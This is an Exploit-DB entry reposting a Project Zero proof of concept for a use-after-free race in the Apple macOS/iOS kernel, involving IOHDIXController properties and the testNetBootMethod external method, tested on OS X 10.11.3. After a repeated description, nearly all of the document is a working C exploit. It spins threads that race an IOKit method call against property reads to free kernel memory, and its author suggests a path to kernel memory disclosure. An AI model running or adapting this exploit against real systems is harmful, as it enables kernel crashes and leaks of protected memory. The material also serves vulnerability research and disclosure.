Apple Mac OSX / iOS Kernel - UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient

EDB-ID:

39929




Platform:

Multiple

Date:

2016-06-10


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/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=732

This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.

Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.

This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.

Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/

//ianbeer

//build: clang -o hdix_race_get_set hdix_race_get_set.c -framework IOKit -framework Foundation -lpthread

/*
OS X/iOS kernel UAF racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient

This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.

Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.

This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.

Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <CoreFoundation/CoreFoundation.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[4096];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[4096] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  char* payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  global_conn = conn;
  selector = 4;
  inputScalarCnt = 0;
  inputStructCnt = strlen(payload)+1;
  strcpy((char*)inputStruct, payload);
  outputScalarCnt = 0;
  outputStructCnt = 0;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  for(;;) {
    int got_it = 0;
    while (!got_it) {
      got_it = OSSpinLockTry(&lock);
    }

    make_iokit_call();
  }
  return NULL;
}

int main(int argc, char** argv){
  kern_return_t err;
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);

  mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                                    IOServiceMatching("IOHDIXController"));

  mach_port_t conn = MACH_PORT_NULL;
  IOServiceOpen(service, mach_task_self(), 0, &conn);
  
  set_params(conn);
  for(;;) {
    OSSpinLockUnlock(&lock);
    CFTypeRef p = IORegistryEntryCreateCFProperty(service,
                                                  CFSTR("di-root-image-result"),
                                                  kCFAllocatorDefault,
                                                  0);
  }
  return 0;
}